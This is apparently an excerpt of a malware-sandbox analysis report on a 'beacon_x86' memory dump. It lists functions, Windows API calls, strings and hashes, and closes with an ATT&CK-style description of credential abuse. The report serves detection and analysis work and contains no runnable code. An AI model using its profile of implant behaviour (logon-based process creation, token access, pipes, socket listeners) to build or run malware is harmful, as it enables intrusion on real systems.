Instruction ID: a2a31d4df63dc539ad20373795f8365041ac073e8a58b3a5808173bd848b4b2f
Opcode Fuzzy Hash: 16067a2b2defe229e1165cabba65462480f8585182f6c99a0e3bf517379f6725
Instruction Fuzzy Hash: 53418F76C04109BBDF01BFE4DC42DEEBBB8EF44324F144026F814A6252EB359A54ABB4

Function 00D7822F Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 00D782F3
__fileno.LIBCMT ref: 00D78313
__locking.LIBCMT ref: 00D7831A
__flsbuf.LIBCMT ref: 00D78345

Part of subcall function 00D79641: __getptd_noexit.LIBCMT ref: 00D79641

Part of subcall function 00D7B5DA: __decode_pointer.LIBCMT ref: 00D7B5E5

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: 8389aba4a4771f7c3f6f0b103eec35a22577fe35531c466181d277ee51952c57
Instruction ID: 031b850cb27dd944884306c44119e97b8a850eeb7a05069e5beff2b7cac5500a
Opcode Fuzzy Hash: 8389aba4a4771f7c3f6f0b103eec35a22577fe35531c466181d277ee51952c57
Instruction Fuzzy Hash: B041C331A40B05DFDB249FA9888859EB7B2EF80720F28C269E45DD7541FB70DE40AB74

Function 00D63B7A Relevance: 6.1, APIs: 4, Instructions: 130processCOMMON

Download Yara Rule

APIs

Part of subcall function 00D671BC: _malloc.LIBCMT ref: 00D671C2
Part of subcall function 00D671BC: _malloc.LIBCMT ref: 00D671D2

_memset.LIBCMT ref: 00D63BDD
GetStartupInfoA.KERNEL32(?), ref: 00D63BF5
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000001,00000000,00000000,00000000,00000000,00000000,?,00D622CF), ref: 00D63C8F
GetLastError.KERNEL32 ref: 00D63C9E

Part of subcall function 00D616E2: _vswprintf_s.LIBCMT ref: 00D616FE

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: _malloc$CreateErrorInfoLastLogonProcessStartupWith_memset_vswprintf_s
String ID:
API String ID: 709525413-0
Opcode ID: c297b68ced4b71eb6d1f13605dc924ae2f83f012de2d1694eed0c160b6f3bcfb
Instruction ID: 791dd47b69db8b49c60a8be9bcd15c5076c29fc5b47c0ccc1d9ac474151611eb
Opcode Fuzzy Hash: c297b68ced4b71eb6d1f13605dc924ae2f83f012de2d1694eed0c160b6f3bcfb
Instruction Fuzzy Hash: 5A412571900208BBDF01AFAADC45EEFBFB9EF49750F104016F618A6261D7758A10DB75

Function 00D6BC6F Relevance: 6.1, APIs: 4, Instructions: 115COMMONLIBRARYCODE

Download Yara Rule

APIs

__time64.LIBCMT ref: 00D6BC7B

Part of subcall function 00D78E8E: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00D6BB2D,00000000,00000080,?,?,?,00D603F0,?,00000000,00000000,00000000,00000000), ref: 00D78E99
Part of subcall function 00D78E8E: __aulldiv.LIBCMT ref: 00D78EB9

__time64.LIBCMT ref: 00D6BC96
__time64.LIBCMT ref: 00D6BD26
__time64.LIBCMT ref: 00D6BD8A

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: __time64$Time$FileSystem__aulldiv
String ID:
API String ID: 4218076520-0
Opcode ID: 88fc2899c87e11055618cf3b761bad6944d13ebadb6f98dc293141b56189e720
Instruction ID: 87065aee8443241206f64a0402e8d2969080624a42cb7624b9b5bcb70cc103af
Opcode Fuzzy Hash: 88fc2899c87e11055618cf3b761bad6944d13ebadb6f98dc293141b56189e720
Instruction Fuzzy Hash: ED4137B5900704CFC325CF69E982469BBF4FB98321728862FE1AACA364D7705980DF71

Function 00D656BF Relevance: 6.1, APIs: 4, Instructions: 111sleeplibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00D90690,00D9067C,00000000,00000000), ref: 00D65704
GetProcAddress.KERNEL32(00000000), ref: 00D6570B

Part of subcall function 00D65638: _malloc.LIBCMT ref: 00D65657

Thread32Next.KERNEL32(00000000,0000001C), ref: 00D6578E
Sleep.KERNEL32(000000C8,00000000,0000001C,00000000,0000001C,00000004,00000000), ref: 00D657A4

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: AddressHandleModuleNextProcSleepThread32_malloc
String ID:
API String ID: 788978452-0
Opcode ID: 03d696d4934a88bc8194d7086a7b710eda3a99470408bf2e496721dd53786faf
Instruction ID: 21deaecb91e17466ef5a9b84bb72b2ae402938aa6d10294b2500ab3efbd6eecd
Opcode Fuzzy Hash: 03d696d4934a88bc8194d7086a7b710eda3a99470408bf2e496721dd53786faf
Instruction Fuzzy Hash: 89314D71900218BFDF10EFA4EC45AEEBBB9EB44710F144425FA05E7154E7709A95CBB1

Function 00D66303 Relevance: 6.1, APIs: 4, Instructions: 106sleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D6631D
_memset.LIBCMT ref: 00D66335

Part of subcall function 00D66260: GetLastError.KERNEL32(-0000EA60,00000000,?,00D627B2,?), ref: 00D6627A

Sleep.KERNEL32(000001F4), ref: 00D663C8
GetLastError.KERNEL32 ref: 00D663D4

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: ErrorLast_memset$Sleep
String ID:
API String ID: 4288913296-0
Opcode ID: 03720ae97c708a06102c81d7eadac7d80e7f84f8fd7cac4f36a618b58d87c4fc
Instruction ID: 3add8685b786dd0dd4c7ab1d3336e8c5dd7561ddb1c9e77e14d52eb533328a7a
Opcode Fuzzy Hash: 03720ae97c708a06102c81d7eadac7d80e7f84f8fd7cac4f36a618b58d87c4fc
Instruction Fuzzy Hash: B431607690431D6FDF11ABE4DC82EEE77BCEB08314F080066F614A6182EA35DA188775

Function 00D828D8 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00D8290C
__isleadbyte_l.LIBCMT ref: 00D82940
MultiByteToWideChar.KERNEL32(DA2A2035,00000009,00D90534,FFFFFB50,00D90534,00000000,?,?,?,00D61A3F,00D90534,00D90534,00000000), ref: 00D82971
MultiByteToWideChar.KERNEL32(DA2A2035,00000009,00D90534,00000001,00D90534,00000000,?,?,?,00D61A3F,00D90534,00D90534,00000000), ref: 00D829DF

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 8cde108e12180358b75379549207ea0c15258352bded68de0400c671679f4011
Instruction ID: 3be0547afff1677bb08adb3afa5163efc2e3f251d2d2e8cbdb3579dc7df386b0
Opcode Fuzzy Hash: 8cde108e12180358b75379549207ea0c15258352bded68de0400c671679f4011
Instruction Fuzzy Hash: 84319D31A4024AEFDB20FF68C885ABE7BA5FF01310F1985A9E4A59B191D330D940DF71

Function 00D64A6B Relevance: 6.1, APIs: 4, Instructions: 100sleeppipeCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D64A86
CreatePipe.KERNEL32(?,?,?,00100000), ref: 00D64ABD
GetStartupInfoA.KERNEL32(?), ref: 00D64AC7
Sleep.KERNEL32(00000064), ref: 00D64B0E

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: CreateInfoPipeSleepStartup_memset
String ID:
API String ID: 112726305-0
Opcode ID: 1977be091623a6bf4f06d62d65cb11d67600b85e64c0ec9af0265fe120297b26
Instruction ID: aa287071485f8e7b48a0469be451a78a896f3c1aefcaaaac613b680228101d2d
Opcode Fuzzy Hash: 1977be091623a6bf4f06d62d65cb11d67600b85e64c0ec9af0265fe120297b26
Instruction Fuzzy Hash: AF312A7280020DAFDF01EFA8DD45ADEBBB9FF08314F104116F914B6151EB729A55DB61

Function 00D65C20 Relevance: 6.1, APIs: 4, Instructions: 96COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D65C39
GetVersionExA.KERNEL32(?,?,?,00000000), ref: 00D65C52
SetLastError.KERNEL32(00000005,?,?,00000000), ref: 00D65C77

Part of subcall function 00D6C320: GetCurrentProcess.KERNEL32(00000000,00D655ED,?,?,?,00D65A04,00000000,00000000,00000000,?,00000000,00D655ED,00000000,00000000,00000000), ref: 00D6C369
Part of subcall function 00D6C320: NtAllocateVirtualMemory.NTDLL(?,00000000,00000000,?,00003000,00000000), ref: 00D6C384

Part of subcall function 00D6C320: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000000,00000000,00D655ED,?,?,?,00D65A04,00000000,00000000,00000000,?,00000000,00D655ED), ref: 00D6C3CA

SetLastError.KERNEL32(00000006,?,?,00000000), ref: 00D65CF4

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: ErrorLastVirtual$AllocAllocateCurrentMemoryProcessVersion_memset
String ID:
API String ID: 1286918773-0
Opcode ID: 19a505bfe7c342c6f372c79a683a61e0fc4f581de71424aeef5534ed7717361a
Instruction ID: 133566f5b7422d522935249e86ff3df9e121e2442ac6287460531d9ed99cba25
Opcode Fuzzy Hash: 19a505bfe7c342c6f372c79a683a61e0fc4f581de71424aeef5534ed7717361a
Instruction Fuzzy Hash: 0821F872A10714AFDB30DB74AC46B9B77A4EF04720F150065FA4EEB285DA709A858BB0

Function 00D684FD Relevance: 6.1, APIs: 4, Instructions: 91threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00D6851B
UpdateProcThreadAttribute.KERNELBASE(?,00000000,00020000,?,00000004,00000000,00000000), ref: 00D68549
GetLastError.KERNEL32 ref: 00D68553
GetCurrentProcess.KERNEL32(00000000,00000000,?), ref: 00D68588

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: ErrorLast$AttributeCurrentProcProcessThreadUpdate
String ID:
API String ID: 3105217703-0
Opcode ID: d27e9e16d1ccdb3e6e49ce7b3099a2dc5622617332ee3224266d91c644b1fe2c
Instruction ID: eb92797c4fa188528dc6c2364a0cd5705c0b62b1ff3b99f79412c76f7a68f696
Opcode Fuzzy Hash: d27e9e16d1ccdb3e6e49ce7b3099a2dc5622617332ee3224266d91c644b1fe2c
Instruction Fuzzy Hash: 5E2160B6610304BFEB14AFA8DC4AD7B33ACEB08750B18191DFA06D3241EA70ED109B71

Function 00D66017 Relevance: 6.1, APIs: 4, Instructions: 81synchronizationCOMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00D66033

Part of subcall function 00D777FF: __FF_MSGBANNER.LIBCMT ref: 00D77822
Part of subcall function 00D777FF: __NMSG_WRITE.LIBCMT ref: 00D77829
Part of subcall function 00D777FF: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,00D9EFA0,?,00D6006E,00004008), ref: 00D77876

htonl.WS2_32(?), ref: 00D66048
WaitForSingleObject.KERNEL32(?,00000000), ref: 00D660AF
_memset.LIBCMT ref: 00D660E0

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: AllocateHeapObjectSingleWait_malloc_memsethtonl
String ID:
API String ID: 3856049160-0
Opcode ID: 86f75236161b853c113a9db91b4568b2828bf246070ad0c79c58977c1c7f7769
Instruction ID: 881793a0ca4f35a135c3cf888bde5511b391b87bb44b7482bc19ec665d04bf2d
Opcode Fuzzy Hash: 86f75236161b853c113a9db91b4568b2828bf246070ad0c79c58977c1c7f7769
Instruction Fuzzy Hash: 5721F271900200EBDF20AFA8D886A6A77B8FF04760F5541B5FD44AB182E770CD8587B5

Function 00D622EC Relevance: 6.1, APIs: 4, Instructions: 76synchronizationpipeCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D622FF
CreatePipe.KERNEL32(?,?,?,00100000), ref: 00D62335
GetStartupInfoA.KERNEL32(?), ref: 00D6233F
WaitForSingleObject.KERNEL32(?,00002710), ref: 00D62383

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: CreateInfoObjectPipeSingleStartupWait_memset
String ID:
API String ID: 468459245-0
Opcode ID: 5ae9e11e1fd34f1070f2012b2a6a18fe489576fc6ea54d326c77b4c6a62b6578
Instruction ID: 861c8b822290f9eb8c50ffd3633015f2ba33f9f0a196763241cdfde0cc724ae3
Opcode Fuzzy Hash: 5ae9e11e1fd34f1070f2012b2a6a18fe489576fc6ea54d326c77b4c6a62b6578
Instruction Fuzzy Hash: C32139B2C00618BFDF10DFA8DD45ADEBBB9FF08310F100126FA04E6251E7719A058BA1

Function 00D6013A Relevance: 6.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00D6014F

Part of subcall function 00D777FF: __FF_MSGBANNER.LIBCMT ref: 00D77822
Part of subcall function 00D777FF: __NMSG_WRITE.LIBCMT ref: 00D77829
Part of subcall function 00D777FF: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,00D9EFA0,?,00D6006E,00004008), ref: 00D77876

_memset.LIBCMT ref: 00D601A4
_memset.LIBCMT ref: 00D601B3
_memset.LIBCMT ref: 00D601CA

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: _memset$AllocateHeap_malloc
String ID:
API String ID: 1114209484-0
Opcode ID: 31a8ad4906466bab4edcd8ad1c261fba71611a44a44038fef5dc812f5f40bc51
Instruction ID: 09565025d2f249f467a22b9dedf54c3cc2f03d403111d100a0adc0ae53bf23d9
Opcode Fuzzy Hash: 31a8ad4906466bab4edcd8ad1c261fba71611a44a44038fef5dc812f5f40bc51
Instruction Fuzzy Hash: 1011D071600345BBD7206F24CC81AAB7F6EDF67364F180564E448D3242F3269E0583B0

Function 00D6B8C3 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D6B925
_memset.LIBCMT ref: 00D6B939
_memset.LIBCMT ref: 00D6B94A
_memset.LIBCMT ref: 00D6B953

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: ffeb7b3de3ffea1e17a76e0e650e9cb768e3f28beeaeaa57777a8ffe4d979dfd
Instruction ID: 1d5258490df1e04157cec5b4402a85e7c0bc1ccfb0de6844f635add0fbdea131
Opcode Fuzzy Hash: ffeb7b3de3ffea1e17a76e0e650e9cb768e3f28beeaeaa57777a8ffe4d979dfd
Instruction Fuzzy Hash: D40161B15052147BDB216F71DC85EAF3A9DEB49374B148037FA18D7212E7348981EBB1

Function 00D6DF0C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

_clock.LIBCMT ref: 00D6DF28
_clock.LIBCMT ref: 00D6DF36
_clock.LIBCMT ref: 00D6DF40
_clock.LIBCMT ref: 00D6DF4E

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: _clock
String ID:
API String ID: 876827150-0
Opcode ID: 908a800f1b4aee3d8470d56c238d3ac105f65cf764e8ae670c4fb01448cdafdd
Instruction ID: dbd862f51469f2d50654a9231ae4ad31656d97c91ca9dbe378d84bab4cf41d75
Opcode Fuzzy Hash: 908a800f1b4aee3d8470d56c238d3ac105f65cf764e8ae670c4fb01448cdafdd
Instruction Fuzzy Hash: 49015E71E04659EF8B10EFE8A4C15BDBBB5EF40384F2580BAE842A6245D7308E41CBF0

Function 00D6CE47 Relevance: 6.0, APIs: 4, Instructions: 46sleepsynchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,00000000,00000000,00000080,00D606C4), ref: 00D6CE84
RtlExitUserThread.NTDLL(00000000,00000000,00000000,00000080,00D606C4), ref: 00D6CE8E
WaitForSingleObject.KERNEL32(00000000,00000000,00000080,00D606C4), ref: 00D6CEAF
ExitProcess.KERNEL32 ref: 00D6CEBB

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: Exit$ObjectProcessSingleSleepThreadUserWait
String ID:
API String ID: 845863014-0
Opcode ID: a9a776e1d50ec0c966a039d0cd47e0f9e41f91fb2b0804e224a67651ae95e9cd
Instruction ID: a2f8524f6136f9b56f1b791996d525b5be1fa0e6284215d1f6a6052d6ec034d0
Opcode Fuzzy Hash: a9a776e1d50ec0c966a039d0cd47e0f9e41f91fb2b0804e224a67651ae95e9cd
Instruction Fuzzy Hash: 87F0F0B2798300ABF9303BBE6C8EF3F2A29DB54B66F100117F364991D2CE6648404236

Function 00D6D0A1 Relevance: 6.0, APIs: 4, Instructions: 42threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00D6D0AE
OpenThreadToken.ADVAPI32(00000000), ref: 00D6D0B5
GetCurrentProcess.KERNEL32(00000008,?), ref: 00D6D0C5
OpenProcessToken.ADVAPI32(00000000), ref: 00D6D0CC

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 4326def8d065df5099de17b02b21de5671bf876f534f242b0465d94ffe08d0bd
Instruction ID: 83ed2c7991b5ff6501bc21189b94c1e5b8791447c6396647c74c45634487b50d
Opcode Fuzzy Hash: 4326def8d065df5099de17b02b21de5671bf876f534f242b0465d94ffe08d0bd
Instruction Fuzzy Hash: 43F0F972A10304ABEB10ABA8ED0AFAE37A9EB04745F144056F501D51A5DAB5D9049771

Function 00D6DD4F Relevance: 6.0, APIs: 4, Instructions: 40networkCOMMON

Download Yara Rule

APIs

accept.WS2_32(?,00000000,00000000), ref: 00D6DD5D
send.WS2_32(00000000,?,?,00000000), ref: 00D6DD8A
send.WS2_32(00000000,?,?,00000000), ref: 00D6DD98
closesocket.WS2_32(00000000), ref: 00D6DDA3

Part of subcall function 00D6DCDF: closesocket.WS2_32(?), ref: 00D6DCE1

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: closesocketsend$accept
String ID:
API String ID: 2168303407-0
Opcode ID: db572148748788afd57beddb47ae74a2d1995f2fa57d30d2938194ea520b9d7d
Instruction ID: ba3d46c24534d2b754ea88673126244ea140882929f949dc83f242ffe5392cb7
Opcode Fuzzy Hash: db572148748788afd57beddb47ae74a2d1995f2fa57d30d2938194ea520b9d7d
Instruction Fuzzy Hash: 0BF0B476600704BBD6303BB4FC42F46B76EEF08730F204A56F69695493C672E8509BB8

Function 00D8028A Relevance: 6.0, APIs: 4, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00D80296

Part of subcall function 00D7C797: __getptd_noexit.LIBCMT ref: 00D7C79A
Part of subcall function 00D7C797: __amsg_exit.LIBCMT ref: 00D7C7A7

__getptd.LIBCMT ref: 00D802AD
__amsg_exit.LIBCMT ref: 00D802BB
__lock.LIBCMT ref: 00D802CB

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: c89289a2c2ac748a1ac2efb9f971ef57a4e8aee108b339cb2741c3041abc8373
Instruction ID: c9d908e21f384a13df0af415d69ca5a138b01d8dc81fbd346cf7c3cd2bd028e1
Opcode Fuzzy Hash: c89289a2c2ac748a1ac2efb9f971ef57a4e8aee108b339cb2741c3041abc8373
Instruction Fuzzy Hash: 98F0B432941700EFD760FBB8840AB4C7BA0FF41720F15854AF448AB2C2DBB49909CB7A

Function 00D6BF6B Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 141COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D6BFFE

Strings

l.dl, xrefs: 00D6BFC8
ntdl, xrefs: 00D6BFB7

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: _memset
String ID: l.dl$ntdl
API String ID: 2102423945-1236859653
Opcode ID: fdb6297e7cbd8406269c93f82204456c1cf00d7e15b5db9edf4be9e089ab1587
Instruction ID: 47548beb8c232f9101247c73c00d70ddb9590da57adf47b31e4753195092ea08
Opcode Fuzzy Hash: fdb6297e7cbd8406269c93f82204456c1cf00d7e15b5db9edf4be9e089ab1587
Instruction Fuzzy Hash: 0A514D75900605DFCB20CF58C480AADB7F1FF58314F29809AD945AB361D731AD81CFA0

Function 00D6C492 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00004000,?,?,?,00D65D0F,00004000,?,?,?,00000000), ref: 00D6C4C7
VirtualFree.KERNEL32(00D652D3,00000000,00004000,00004000,?,?,?,00D65D0F,00004000,?,?,?,00000000), ref: 00D6C523

Strings

p,v, xrefs: 00D6C4AC, 00D6C4D9

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: CurrentFreeProcessVirtual
String ID: p,v
API String ID: 2843569277-381846232
Opcode ID: 85a8a00b8a13c0783ad18834504298abe5e92570917de41dc4d60e26656e6e08
Instruction ID: 487cfc596b7d9066b476256f1e9517d3861f397f04fb12df074654cdf9a22f8c
Opcode Fuzzy Hash: 85a8a00b8a13c0783ad18834504298abe5e92570917de41dc4d60e26656e6e08
Instruction Fuzzy Hash: 1A11ADB1821314EF8B25DF44DC898BE7BB9F749B40B14441AF046D2720D770AA85DFB1

Function 00D6B9F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D6BA03
GetCurrentProcess.KERNEL32(00D60A51), ref: 00D6BA1D

Part of subcall function 00D6B960: _memset.LIBCMT ref: 00D6B97A
Part of subcall function 00D6B960: __snprintf.LIBCMT ref: 00D6B9D9

Strings

system32, xrefs: 00D6BA48

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: _memset$CurrentProcess__snprintf
String ID: system32
API String ID: 3270679572-3483537008
Opcode ID: 1bc1bab3d9fc479a871c6044ec1a0b5ec60c8041ce621c519de5c519272f27d9
Instruction ID: 1018a63416218b7125b95d9357ae2b3b7df4d3bfb6a174dd6a7c06f8a7ede881
Opcode Fuzzy Hash: 1bc1bab3d9fc479a871c6044ec1a0b5ec60c8041ce621c519de5c519272f27d9
Instruction Fuzzy Hash: C2F05E316843046FF7146B90FC47B693798DF00724F14401BF908AA3D2FBA565808A79

Function 00D87DF9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

_RTC_Failure.LIBCMT ref: 00D87E0C

Strings

abcdefghijklmnop, xrefs: 00D87E06
abcdefghijklmnop, xrefs: 00D87E05

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: Failure
String ID: abcdefghijklmnop$abcdefghijklmnop
API String ID: 3995482717-935656707
Opcode ID: 4d1227ede6a145633f070787483e74cd4d58cfad1496ae03b9bb51402f780a7b
Instruction ID: c3a5576e9cfc101ee22ed094d5e360673ad390940dac31f6f0b67ec56a1d2658
Opcode Fuzzy Hash: 4d1227ede6a145633f070787483e74cd4d58cfad1496ae03b9bb51402f780a7b
Instruction Fuzzy Hash: C3D0C97720D2087EF920B45A7D07FBB7B6CD7C1B75FB041ABF9088508069026D2652B9

Function 004022C0 Relevance: 5.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,0040248B,?,?,?,?,?,00401B28), ref: 004022CE
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,0040248B,?,?,?,?,?,00401B28), ref: 004022F5
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,0040248B,?,?,?,?,?,00401B28), ref: 004022FC
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,0040248B,?,?,?,?,?,00401B28), ref: 0040231C

Memory Dump Source

Source File: 00000000.00000002.3890235844.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3890220060.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890251384.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890265739.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890295487.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890310517.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_beacon_x86.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 3e49c145e7cda86df6080b1c3b5656d3cc1d329760b6f4bb8e53dbee9a39bf48
Instruction ID: db0b3c927cb9be537e2116d15c0f7f13df8c87252735a744e9a29fbe81bf0797
Opcode Fuzzy Hash: 3e49c145e7cda86df6080b1c3b5656d3cc1d329760b6f4bb8e53dbee9a39bf48
Instruction Fuzzy Hash: BAF0A4756007108BC7107FB8D9C861B7BA4AA48345B0505B9DE845735AE778EC08CBAA

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
